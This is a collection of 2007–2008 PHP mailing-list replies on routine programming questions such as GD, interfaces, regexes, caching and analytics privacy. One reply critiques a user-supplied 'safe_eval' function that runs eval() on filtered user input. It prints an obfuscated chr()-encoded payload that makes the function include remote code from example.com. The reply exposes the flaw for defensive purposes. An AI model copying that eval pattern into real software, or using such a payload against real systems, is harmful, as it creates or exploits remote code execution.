On 10/04/2008, Thijs Lensselink <[EMAIL PROTECTED]> wrote: > Quoting Robin Vickery <[EMAIL PROTECTED]>: > > > > On 10/04/2008, Thijs Lensselink <[EMAIL PROTECTED]> wrote: > > > > > Quoting Luca Paolella <[EMAIL PROTECTED]>: > > > > > > > > > > How do I install/activate the GD library with my existing PHP version? > > > > I'm quite sure it isn't already, since I got this error: > > > > > > > > Fatal error: Call to undefined function imagecreate() in > > > > > > > > /Volumes/Data/Users/luca/Library/WebServer/Documents/reloadTest/image.php > > > on > > > > line 6 > > > > > > > > Please forgive my ignorance, and thanks for your help > > > > > > > > > > > > > > On windows it's as easy as downloading the dll from pecl4win.php.net. > > > > > > But from your directory structure i presume you have some sort of *nix > > > system. > > > So you have to reconfigure and rebuild PHP. > > > > > > > Ouch... first try installing the php gd module through whatever > > package manager your *nix distribution uses. For instance, on Ubuntu > > linux you'd do: > > > > sudo aptitude install php5-gd > > > > > > Ouch? That's exactly what i added to my post "Make sure GD is installed > on the system." Making sure GD is installed on the system is a very sensible thing to do. The "ouch" was aimed at the suggestion that if you're on a *nix system, the course of action is to recompile php. Normally these days you'd just install the gd module (the equivalent of your windows dll) through your package manager. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Evaluating math without eval()
On 10/04/2008, Jason Norwood-Young <[EMAIL PROTECTED]> wrote: > On Thu, 2008-04-10 at 13:15 +0100, Richard Heyes wrote: > > > > First post to this list! I'm trying to figure out how to evaluate a > > > string with a mathematical expression and get a result, but without > > > using eval() as I'm accepting user input into the string. I don't just > > > want addition, subtraction, multiplication and division - I'd like to > > > take advantage of other functions like ceil, floor etc. > > > In reply to my own question, I came up with the following function based > on a comment on php.net > (http://www.php.net/manual/en/function.eval.php#71045). I had a look at > the array returned by get_defined_functions() and the maths functions > seem mostly to be grouped (with the exception of the random number > stuff). It works on my installation but there's nothing in the > documentation about get_defined_functions() returning in a particular > order - it would be safer to list each math function but I'm lazy. > > protected function safe_eval($s) { > $funcs=get_defined_functions(); > $funcs=$funcs["internal"]; > $funcs=array_slice($funcs,array_search("abs", > $funcs),array_search("rad2deg",$funcs)-array_search("abs",$funcs)); > $sfuncs="(".implode(")(",$funcs).")"; > $s=preg_replace('`([^+\-*=/\(\)\d\^<>&|\.'.$sfuncs.']*)`','',$s); > if (empty($s)) { > return 0; > } else { > try { > eval("\$s=$s;"); > return $s; > } catch(Exception $e) { > return 0; > > } > } > } That kind of thing is pretty dangerous. In this case the regex is broken - you're putting all the function names within the character class. That means that any character contained within one of the allowed function names may be used in the eval. So you can use any function that consists entirely of the characters abcdefghilmnopqrstuwxy01234567890_+-*=/^<>&| which means you can include() malicious content like this: safe_eval('include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(101).chr(120).chr(97).chr(109).chr(112).chr(108).chr(101).chr(46).chr(99).chr(111).chr(109).chr(47).chr(112).chr(97).chr(121).chr(108).chr(111).chr(97).chr(100).chr(46).chr(112).chr(104).chr(112))'); which evaluates to include('http://example.com/payload.php') -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of "abstract" and "interface"?
On 16/04/2008, Jay Blanchard <[EMAIL PROTECTED]> wrote: > [snip] > > What about encapsulation? > > Interfaces have nothing to do with encapsulation for the smple reason > that I > can have encapsulation without using interfaces. Unique use of logic there. By similar reasoning; swimming trunks have nothing to do with swimming for the simple reason that I can swim without trunks. > You are still missing the fundamental point. There is absolutely > nothing I can do WITH interfaces that I cannot do WITHOUT them, > therefore they are redundant. How about compile-time checking that the interface has been correctly implemented? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of "abstract" and "interface"?
On 16/04/2008, Tony Marston <[EMAIL PROTECTED]> wrote: > > > > -Original Message- > > From: Robin Vickery [mailto:[EMAIL PROTECTED] > > Sent: 16 April 2008 17:23 > > To: Jay Blanchard > > Cc: Tony Marston; php-general@lists.php.net > > Subject: Re: [PHP] What is the practical use of "abstract" > > and "interface"? > > > > > > On 16/04/2008, Jay Blanchard <[EMAIL PROTECTED]> wrote: > > > [snip] > > > > What about encapsulation? > > > > > > Interfaces have nothing to do with encapsulation for the > > smple reason > > > that I can have encapsulation without using interfaces. > > > > Unique use of logic there. > > > > By similar reasoning; swimming trunks have nothing to do with > > swimming for the simple reason that I can swim without trunks. > > > Correct. Encapsulation and polymorphism can be achieved without interfaces, > therefore interfaces are not necessary. You've switched positions from "have nothing to do with" to "not necessary". Prefacing your statement with "Correct" makes it appear that you're merely re-affirming your original position. > There is nothing I can achieve with interfaces that I cannot achieve without > them, therefore they are not necessary. Not only are they not necessary, > because they do not add value they are totally useless. There's nothing that you can achieve with PHP5 that you can't achieve with PHP/FI either. Maybe it's time to scrap all this needless complexity and return to our roots. I've already given an example of how formally defined interfaces add value and you chose to dismiss it on the grounds that there's no need to check interfaces if you don't use interfaces. *Every* modular system uses interfaces whether they're formally defined or not. > Some people seem to use them simply because they are there, or that > was how they were taught. Some people don't use them because they weren't there when they learnt, or they weren't taught how. What's your point? > > > You are still missing the fundamental point. There is absolutely > > > nothing I can do WITH interfaces that I cannot do WITHOUT them, > > > therefore they are redundant. > > > > How about compile-time checking that the interface has been > > correctly implemented? > > > If you don't use interfaces there is no need for such checking. ok, s/interface/api/ if that makes you happier. If you need a concrete example, lets say your app has a nifty plugin system so third-parties can extend it. You have an API for plugins to register themselves, and each plugin exposes a set of methods that your application calls when necessary. If you define an 'interface' for your API and each plugin implements that interface, then if there's a plugin that doesn't implement it properly you'll know as soon as the plugin loads. If you don't formally define the interface, you're not going to know that the plugin's wrong until the badly implemented method gets called. And even then it might just introduce a hard to diagnose bug rather than an obvious failure. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: Re[2]: [PHP] equivalent to perl shift function
2008/5/1 Richard Luckhurst <[EMAIL PROTECTED]>: > Hi Chris, > > In perl ther is the concept of @_ which is the list of incoming parameter > to a > subroutine. It is possible to have something like > > my $sock = shift; > > As I understand this the first parameter of the @_ list would be shifted. > > I see for array_shift there must be an argument, the array name to shift, > while > in perl if the array name is omitted the @_ function list is used. Is ther a > php > equivalent to the @_ list or how might I use array_shift to achieve the same > result as in perl? I''ve no idea why you want to handle arguments in the same way as perl does - but func_get_args() returns the array of arguments to the function and you can shift that with array_shift() if you like. http://www.php.net/manual/en/function.func-get-args.php -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] check if any element of an array is not "empty"
2008/4/30 Nathan Nobbe <[EMAIL PROTECTED]>: > On Wed, Apr 30, 2008 at 2:58 PM, Richard Heyes <[EMAIL PROTECTED]> wrote: > > > but I was thinking if there is the function does that. > >> > > > > array_filter(). Note this: > > > > "If no callback is supplied, all entries of input equal to FALSE (see > > converting to boolean) will be removed." > > > > http://uk3.php.net/manual/en/function.array-filter.php > > > i dont really see how that gets him the answer without at least checking the > number of elements in the array after filtering it w/ array_filter; Because an empty array evaluates to false when cast to bool (which is implicit in a conditional). So this should work fine: if (array_filter($myArray)) { // only do this if there's stuff worth bothering with in myArray } -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: A Little Something.
2008/5/13 Stut <[EMAIL PROTECTED]>: > On 13 May 2008, at 09:04, Peter Ford wrote: > > > I think the onus is on the coders of Urchin to document how to avoid > errors when Javascript is disabled, not the site developer who uses it. > > > > Just to repeat a point I made yesterday which was clearly either > misunderstood or ignored... Urchin *will not* cause Javascript errors if > Javascript is disabled. Odd though it may seem, it's actually not possible > to write Javascript code that will cause Javascript errors if Javascript is > disabled. > > If you choose to use an addon that disables some Javascript but not all of > it you need to be willing to live with the errors that may cause. While I completely agree with everything you say there, I do think there is a point to the other side side of the argument as well; It *is* sloppy practice to assume that some resource has already been initialised without checking, especially when you're relying on a third-party script. This is a pretty trivial case, but it is a really good habit to get into. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: A Little Something.
2008/5/13 Stut <[EMAIL PROTECTED]>: > > On 13 May 2008, at 10:32, Robin Vickery wrote: > > > 2008/5/13 Stut <[EMAIL PROTECTED]>: > > > > > On 13 May 2008, at 09:04, Peter Ford wrote: > > > > > > > > > > I think the onus is on the coders of Urchin to document how to avoid > > > > > > > errors when Javascript is disabled, not the site developer who uses it. > > > > > > Just to repeat a point I made yesterday which was clearly either > > > misunderstood or ignored... Urchin *will not* cause Javascript errors if > > > Javascript is disabled. Odd though it may seem, it's actually not > possible > > > to write Javascript code that will cause Javascript errors if Javascript > is > > > disabled. > > > > > > If you choose to use an addon that disables some Javascript but not all > of > > > it you need to be willing to live with the errors that may cause. > > > > > > > While I completely agree with everything you say there, I do think there > is a > > point to the other side side of the argument as well; It *is* sloppy > > practice to > > assume that some resource has already been initialised without checking, > > especially when you're relying on a third-party script. > > > > I agree to a certain extend, but the Javascript spec specifies that it's > executed in the order it's found on the page. So if you include an external > file before calling the code it contains it's perfectly acceptable to assume > that code has already been included, parsed and is available to you. There's so many things that are out of your control when you include a third-party script that could stop it loading; misconfigured servers on their end, network outages, corporate firewalls blocking their server, etc. You can't stop any of that. But you can check for it very simply. But hey, we basically agree. So I'm going to stop there, before I start getting too involved in arguing the point. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how do I stop Firefox doing a conditional get?
2008/5/14 Per Jessen <[EMAIL PROTECTED]>: > All, > > not really PHP related, but I figured someone here would already > have solved this problem. > I've got a page with a single . I change the src attribute > dynamically using javascript. Although the images being served all > have long expiry times, Firefox still does a conditional get to which > apache says "304" as it should. > > The issue is - I'd like this page to appear to be as "real time" as > possible, and the occasional delay caused by the conditional get is a > nuisance. My images are clearly cached, so how do I prevent Firefox > from doing the conditional get ? There must be some HTTP header I can > use. You can use either or both of 'Expires' or 'Cache-Control' -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how do I stop Firefox doing a conditional get?
On 15/05/2008, Al <[EMAIL PROTECTED]> wrote: > Make certain your steam is compressed > http://www.whatsmyip.org/mod_gzip_test/ Compressed steam can be dangerous: http://en.wikipedia.org/wiki/2007_New_York_City_steam_explosion -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Working with internal data formats
On 15/05/2008, John Gunther <[EMAIL PROTECTED]> wrote: > Iv Ray wrote: > > > John Gunther wrote: > > > What technique can I use to take an 8-byte double precision value, as > > > stored internally, and assign its value to a PHP float variable without > > > having the bytes misinterpreted as a character string. > > > > Does it get misinterpreted, or do you just want to be sure? > > > > The documentation says - > > > > "Some references to the type "double" may remain in the manual. Consider > double the same as float; the two names exist only for historic reasons." > > > > Does this cover your case? > > > > Iv > > > No. > > Example: I extract the 8 bytes 40 58 FF 5C 28 F5 C2 8F from an external > file, which is the internal double precision float representation of the > decimal value 99.99. Starting with that byte string, how can I create a PHP > variable whose value is 99.99? Reversing the order of bytes then using unpack('d') works for me. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Re: A Little Something.
2008/5/21 Stut <[EMAIL PROTECTED]>: > I was going to ignore this, but I'm in a confrontational mood today, so > please accept my apologies for the noise. > > On 21 May 2008, at 14:08, Michelle Konzack wrote: > >> Am 2008-05-12 15:40:54, schrieb Stut: >> Note: I am working for the french Ministry of Defense. > > Ooh, give 'em a peanut. I live and work in the UK and every site I work on > that uses Google Analytics has nothing specific about Google Analytics in > the privacy policy. They all talk about use of cookies, IP addresses and > server logs and I've never had any complaints. http://www.google.com/analytics/tos.html 7. PRIVACY . You will not (and will not allow any third party to) use the Service to track or collect personally identifiable information of Internet users, nor will You (or will You allow any third party to) associate any data gathered from Your website(s) (or such third parties' website(s)) with any personally identifying information from any source as part of Your use (or such third parties' use) of the Service. You will have and abide by an appropriate privacy policy and will comply with all applicable laws relating to the collection of information from visitors to Your websites. You must post a privacy policy and that policy must provide notice of your use of a cookie that collects anonymous traffic data. So yeah, you don't need to specifically mention google-analytics. And you're definitely not allowed to link it to any personally identifying information. On pain of Lawyers. > But, at risk of labouring the point, I don't have an issue if you decide to > worry about inconsequential things like websites gathering anonymous usage > data so they can improve the experience for you. I couldn't care less if you > disable Javascript to prevent evil popup ads. I don't really give a damn if > you decide to use lynx as the ultimate surfer condom. Really, I've no problem with sites gathering anonymous usage data. I only get a little more wary when it's a third-party collecting the data as I have no relationship with them. On the other hand, it really does depend who the third party is: I'm not that bothered about Google. But I would block anything and everything from Phorm or the like without a second thought. > My issue is purely and simply that if someone decides to remove half the > code for something they should not feel they have the right to complain to > the developers when they see errors. You wouldn't expect a car to work if > you removed all the cylinders, would you? But I'd love to see the persons > face when you take it back and complain. I don't think that's an accurate metaphor. In this case they were allowing all the code from the originating web server to run, but were blocking an independent third party server. It's more like expecting a car to work when you remove the trailer. > Sometimes I wonder why I bother. Pure contrariness? That's certainly my major motivation. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Re: A Little Something.
2008/5/22 Philip Thompson <[EMAIL PROTECTED]>: > I'm sure Stut (and others) have said enough, but I can no longer resist... > > On May 21, 2008, at 8:08 AM, Michelle Konzack wrote: > >> Am 2008-05-12 15:40:54, schrieb Stut: >> >> I do not know, what this urchinTacker() does, but since it is named >> "Tracker", I asume it is a tool, which collect infos about Websiteusers. >> A thing I do not like since it is violation of my privacy. > > This statement appears to be one of ignorance. You claim that because you > don't know what it does and it has a certain name, it MUST be a violation of > your privacy. A violation of your privacy would be gaining > *personally-identifiable* information w/o your knowledge - G.A. can't tell a > web admin my first, middle, last names and DOB from my browser. Do some > reading about the product and then make an educated statement. Playing devils advocate here: Firstly, you're mischaracterising her statement. She says she's assuming it's a tool which collects information about users (which is true) and she says she doesn't like such tools because she sees them as a violation of her privacy (which is a matter of her opinion). She does not say that it must be a violation of her privacy *because* she doesn't know what it does and has a certain name. Secondly, personally identifiable information doesn't have to be as obvious as firstname/lastname/dob as Brian Clifton (European Head of Web Analytics at Google) wrote in his book 'Advanced Web Metrics with Google Analytics': "Note: On the internet, IP addresses are classed as personally identifiable information." And Google Analytics is most definitely getting IP addresses, even if they say they discard them when they no longer need them. >> If you use such tools, you have to warn users of your website, that you >> are collecting data otherwise you could be run into trouble... > > These statements are what really made me want to respond. From this > statement, you are basically saying that a majority of the sites out there > would have to have disclaimers. Well, actually section 7 of their terms of service with google analytics requires them to have notices. I know! Why don't we just require web > developers to reveal the secrets!(TM) of their sites and give the source > code so we can verify that they're not trying to find the name of my cat > when I was 8? I mean, come on. "[W]arn users of your website"?? Don't get me > wrong - I am all about security, but this appears to be taking it a bit far. > As a web surfer, one should be aware of the potential risks and prepare > reasonably!(TM) However, I must question if you should even be on the web... > how do you sleep at night with all those javascript functions and cookies > just parading around the 'net?! Have you had a little too much coffee today? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] looking a regular expresion
2008/5/27 Manuel Pérez López <[EMAIL PROTECTED]>: > Hello: > > I need to include a pair of negations with two complete word into a regular > expresion for preg_replace. How to do this? > I want to replace "I want to be a SUN and a SIR" with "FRIKI FRIKI FRIKI > FRIKI FRIKI SUN FRIKI FRIKI SIR" > > ie. the words are: SUN and SIR. And the replacement word is: FRIKI > > $st = preg_replace ("\b([^S][^U][^N])|([^S][^I][^R]\b)", "FRIKI",$st); with a negative lookahead assertion: $st = preg_replace('/\b(?!SUN\b|SIR\b)\w+/', 'FRIKI', $st); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] validating # sign in php
2008/5/29 Sudhakar <[EMAIL PROTECTED]>: > my question is about validation using php. i am validating a username which > a user would enter and clicks on a image to find > > if that username is available. example if a user enters abc#123 php file is > reading this value as abc ONLY which i do not > > want instead the php file should read as abc#123. following is the sequence > of pages. please advice the solution. You've asked this question at least three times now that I've seen, and you've already had the answer. The problem is not in PHP, it's in your javascript: > var useri = document.registrationform.username > var valueofuseri = document.registrationform.username.value > [...] > window.open("checkusernamei.php?theusernameis="+valueofuseri, > "titleforavailabilityi", "width=680, height=275, status=1, You must urlencode valueofuseri. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] UK PHP Host/Developer Required
2008/6/13 Iv Ray <[EMAIL PROTECTED]>: >> 2. It's useful if the host company and the client keep the same office >> hours. > > If you have a hosting company with 9 to 5 office hours, you are dead, even > if it is next door. Out of hours technical support often gets billed at a punitive rate. Which is a bugger if their "out of hours" is your working day. And while you might get tech support out of hours, accounts and billing usually keep normal office hours. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] UK PHP Host/Developer Required
2008/6/14 Iv Ray <[EMAIL PROTECTED]>: > Robin Vickery wrote: >> >> Out of hours technical support often gets billed at a punitive rate. >> Which is a bugger if their "out of hours" is your working day. > > It seems you haven't tried Rackspace (UK) yet. > >> And while you might get tech support out of hours, accounts and >> billing usually keep normal office hours. > > True. > > But if you pay your bills on time, you will never talk to these. When a minute's downtime can cost you tens of thousands of pounds worth of transactions, you can often find quite pointed questions to ask your account handler. Like "how the hell did both independent power rails AND fail at once? Why didn't the backup generators start? and what are you doing to 1. ensure that it never happens again and 2. dissuade us from moving to a hosting facility that exhibits some competence?" Having to do an emergency failover to a secondary hosting facility on one of you busiest days of the year can put you in a really bad mood. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Separating words based on capital letter
On 25/04/07, Dotan Cohen <[EMAIL PROTECTED]> wrote: On 25/04/07, Richard Lynch <[EMAIL PROTECTED]> wrote: > On Tue, April 24, 2007 4:16 pm, Dotan Cohen wrote: > > I have some categories named in the database as such: > > OpenSource > > HomeNetwork > > > > I'd like to add a space before each capital letter, ideally not > > including the first but I can always trim later if need be. As I'm > > array_walking the database, I have each value at the moment I need it > > in a string $item. Other than pregging for A-Z how can I accomplish > > this? I haven't been able to get it down to less than 54 lines of > > code, which in my opinion means that I'm doing something wrong. > > Why rule out PCRE, which is probably the best weapon for the job? > > $string = ltrim(preg_replace('([A-Z])', ' \\1', $string)); > > You can wrap that in a function or even use create_function for > something that simple, in your array_walk. $string = preg_replace('/(?<=\w)([[:upper:]])/', ' $1', $string); turns "this is OpenSourceCode" to "this is Open Source Code" -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] slow performance
On 25/04/07, Richard Lynch <[EMAIL PROTECTED]> wrote: On Wed, April 25, 2007 5:09 am, Zoltán Németh wrote: > 2007. 04. 25, szerda keltezÃ(c)ssel 11.53-kor Henning Eiben ezt Ãrta: >> Zoltán NÃ(c)meth schrieb: >> > not exactly. it pre-compiles them to opcodes and stores the opcode > blocks. the interpreter normally first pre-compiles the code to > opcodes > then runs the opcode. this pre-compilation can be cached with > accelerators, that's how they increase performance. Please, please, please stop misinformation. :-) The accelerators *ALL* make their dramatic performance boost by CACHING the hard drive into RAM. Caching PHP Source would do *almost* as well. This statement seems a bit suspicious to me - what OS are you using that doesn't already cache the disk accesses into RAM? (for example the Linux VFS buffer cache). -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] sloppy use of constants as strings. WAS: What does "<<<" mean?
On 01/05/07, Daevid Vincent <[EMAIL PROTECTED]> wrote: > > > echo << > > BROWSER: $_SERVER[HTTP_USER_AGENT] > > > EOF; > > > > Isn't that form (sans quote marks) deprecated and frowned upon? > > > error_reporting( E_ALL ); > > echo << BROWSER: $_SERVER[HTTP_USER_AGENT] > EOF; > > Why would cleaner, perfectly error free code be frowned upon? http://us2.php.net/manual/en/language.types.array.php "A key may be either an integer or a string. If a key is the standard representation of an integer, it will be interpreted as such (i.e. "8" will be interpreted as 8, while "08" will be interpreted as "08")." I was always under the impression that using: $_SERVER[HTTP_USER_AGENT] or $foo[myindex] Was "bad" compared to the proper way of: $_SERVER['HTTP_USER_AGENT'] or $foo['myindex'] True, but notice he's using it inside a heredoc string and the rules are slightly different for string parsing. http://www.php.net/manual/en/language.types.string.php#language.types.string.parsing Whereas outside a string, $foo[myindex] will give you a notice and $foo['myindex'] is OK; Inside a string, $foo[myindex] will give you no notice and $foo['myindex'] will give you a parse error. The manual suggests that $foo[myindex] is treated the same inside a string as outside - if 'myindex' is defined as a constant then that is what's used as the index. This doesn't seem to be born out by reality. 'Bareword', 'BAR' => 'Constant' ); define( 'FOO', 'BAR'); print "\$test[FOO]: FOO is interpreted as a $test[FOO]\n"; print "{\$test[FOO]}: FOO is interpreted as a {$test[FOO]}\n"; print "{\$test['FOO']}: FOO is interpreted as a {$test['FOO']}\n"; ?> $ php5 test.php $test[FOO]: FOO is interpreted as a Bareword {$test[FOO]}: FOO is interpreted as a Constant {$test['FOO']}: FOO is interpreted as a Bareword -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Remove domain: What do think of this approach?
On 16/05/07, Micky Hulse <[EMAIL PROTECTED]> wrote: Hi folks, I hope everyone is having a good week. :) Let me cut to the chase... Basically, I need to get this: http://www.site.com/folder/foo To work like this: $_SERVER['DOCUMENT_ROOT'].'folder/foo/file.ext'; For use with getimagesize() and a few other functions (trying to avoid possible open_basedir restrictions.) Here is what I got so far: # Determine http type: $http_s = ($_SERVER['HTTPS'] == on) ? 'https://' : 'http://'; # Get root path: $from_root = str_replace($http_s.$_SERVER['SERVER_NAME'], '', http://www.site.com/folder/foo); echo $_SERVER['DOCUMENT_ROOT'].$from_root; /* ** Output: ** /web1/httpd/htdocs/blogs/images/uploads */ So, do you think I can rely upon the above script? I have a feeling the answer will be no Or, anyone have any tips/improvements? use parse_url() http://www.php.net/parse_url then append the 'path' part to document root ? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Mysqli insert / OO Design Problem - Call to a member function bind_param() on a non-object in...
On 16/05/07, Lee PHP <[EMAIL PROTECTED]> wrote: /** Insert record. */ public function insert() { $sql = "INSERT INTO table (" . "field_1, " . "field_2, " . "field_3) " . "?, " . "?, " . "?)"; echo "Server version: " . self::$conn->server_info; $stmt = self::$conn->prepare($sql); $stmt->bind_param('s', $this->getField1(), $this->getField2(), $this->getField3()); Server version: 5.0.21-Debian_3ubuntu1-log Fatal error: Call to a member function bind_param() on a non-object in C:\blah\blah\blah You've missing an open bracket in your INSERT statement. This is causing your prepare() to fail, returning FALSE rather than a statement object. You then call bind_param() on that and because it's not an object you get the fatal error. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] IE7 => end tag?
On 18/05/07, Jim Moseby <[EMAIL PROTECTED]> wrote: > > The extra comma at the end of the array definition is still > valid syntax in > PHP. Try for yourself: > > php -r '$a = array("a" => "foo", "b" => "bar",); print_r($a);' Interesting. Do you mean 'Valid Syntax' in that it 'works without error', or 'Valid Syntax' in that 'it was designed to work that way'? It was designed to work that way (see the 'possible_comma' rule in zend_language_parser.y) If the latter, then I have learned something new, and I'd like to know more about why it is designed to work that way, and how I could use it to my advantage. Probably because 1. People often remove or comment out elements from lists and forget to remove the comma from the new last entry eg: $config = array( foo => bar, // baz => wibble ); 2. Perl already made the final comma optional for similar reasons. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] convert numerical day of week
On 22/05/07, Robert Cummings <[EMAIL PROTECTED]> wrote: On Tue, 2007-05-22 at 13:47 -0500, Greg Donald wrote: > On 5/22/07, Robert Cummings <[EMAIL PROTECTED]> wrote: > > Nothing said it was important, but why implement a half-assed solution > > when you can implement a superior solution in as much time? > > Your solution contains overhead you don't even know you need. Coding > for locales is an edge case since most PHP installs will find the > server settings sufficient. > > http://en.wikipedia.org/wiki/YAGNI > > > I'll accept ignorance and sloppiness as reasons... albeit not good > > reasons. > > You assume too much and your solution is bloated. Accept that. No, your solution is bloated. Mine may run a tad slower, but it consumes less memory since it uses the weekday names already defined in the locale. Yours redefines the strings thus requiring that much extra storage. Yours is redundant with information already available in the locale. The YAGNI claim is irrelevant here since I'm producing the requested functionality that the poster obviously needs. Whether I use your method or my method is irrelevant to YAGNI. they're all bloated: print jddayofweek($day_number, 1); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] local v remote
On 31/05/07, blueboy <[EMAIL PROTECTED]> wrote: On my localhost this works fine $result= mysql_query("SELECT date_format(date, '%d/%m/%Y') as date, title, id, display FROM NEWS"); 1. check return values, $result should not be false unless there's a problem. 2. if $result is false, check mysql_error() it'll tell you more about what's gone wrong. for example: $result = mysql_query($query) or die(mysql_error()); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] checking the aspect ratio of an images
On 06/06/07, blueboy <[EMAIL PROTECTED]> wrote: I want to force users to insert landscape rather portrait images. I don't want to be too pedantic about it but they do need to have an approximate 4x3 aspect ratio. This is my code so far. $max_height = "500"; // This is in pixels $max_width = "500"; // This is in pixels list($width, $height, $type, $w) = getimagesize($_FILES['userfile']['tmp_name']); if($width > $max_width || $height > $max_height) { } $ratio = 4/3; $tolerance = 0.1; if (abs($ratio - $width/$height) > $tolerance) { // not approximately the right aspect ratio } -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Parse domain from URL
On 06/06/07, Brad Fuller <[EMAIL PROTECTED]> wrote: Daniel Brown wrote: > On 6/6/07, Brad Fuller <[EMAIL PROTECTED]> wrote: >> >> I need to strip out a domain name from a URL, and ignore subdomains >> (like www) >> >> I can use parse_url to get the hostname. And my first thought was to >> take the last 2 segments of the hostname to get the domain. > So if the >> URL is http://www.example.com/ >> Then the domain is "example.com." If the URL is >> http://example.org/ then the domain is "example.org." >> >> This seemed to work perfectly until I come across a URL like >> http://www.example.co.uk/ My script thinks the domain is "co.uk." >> >> So I added a bit of code to account for this, basically if the 2nd to >> last segment of the hostname is "co" then take the last 3 segments. >> >> Then I stumbled across a URL like http://www.example.com.au/ >> >> So it occurred to me that this is not the best solution, unless I >> have a definitive list of all exceptions to go off of. >> >> Does anyone have any suggestions? >> >> Any advice is much appreciated. > > Well, it's not very clean, but if you just need to remove > the subdomain/CNAME from the domain > > $hostname = parse_url($_SERVER['SERVER_NAME']); > $domsplit = explode('.',$hostname['path']); > for($i=1;$i $i == (count($domsplit) - 1) ? $domain .= $domsplit[$i] : > $domain .= $domsplit[$i]."."; } > echo $domain; >> > > There's probably a much better way to do it, but in the > interest of a quick response, that's one way. Yes, that's basically what my code already does. The problem is that what if the url is "http://yahoo.co.uk/"; (note the lack of a subdomain) Your script thinks that the domain is "co.uk". Just like my existing code does. So we can't count on taking the last 2 segments. And we can't count on ignoring the first segment. (The subdomain could be anything, not just www) In that case you can't do it just by parsing alone, you need to use DNS. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Going from simple to super CAPTCHA
On 10/06/07, Dave M G <[EMAIL PROTECTED]> wrote: PHP General List, With a little help from the web, and help from this list, I have a simple CAPTCHA image that works within the content system I'm building. But it's *really* simple. Basically white text on a black background, with a couple of white lines to obscure the text a little. I'm pretty sure that in its current state, my CAPTCHA image could be cracked by OCR software from the 1950s. So I'm hoping to take it up to the next level. How about using the spammers' own tricks against them? They try hard to make image spam pass through filters and resist OCR analysis. http://csoonline.com/read/040107/fea_spam.html -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php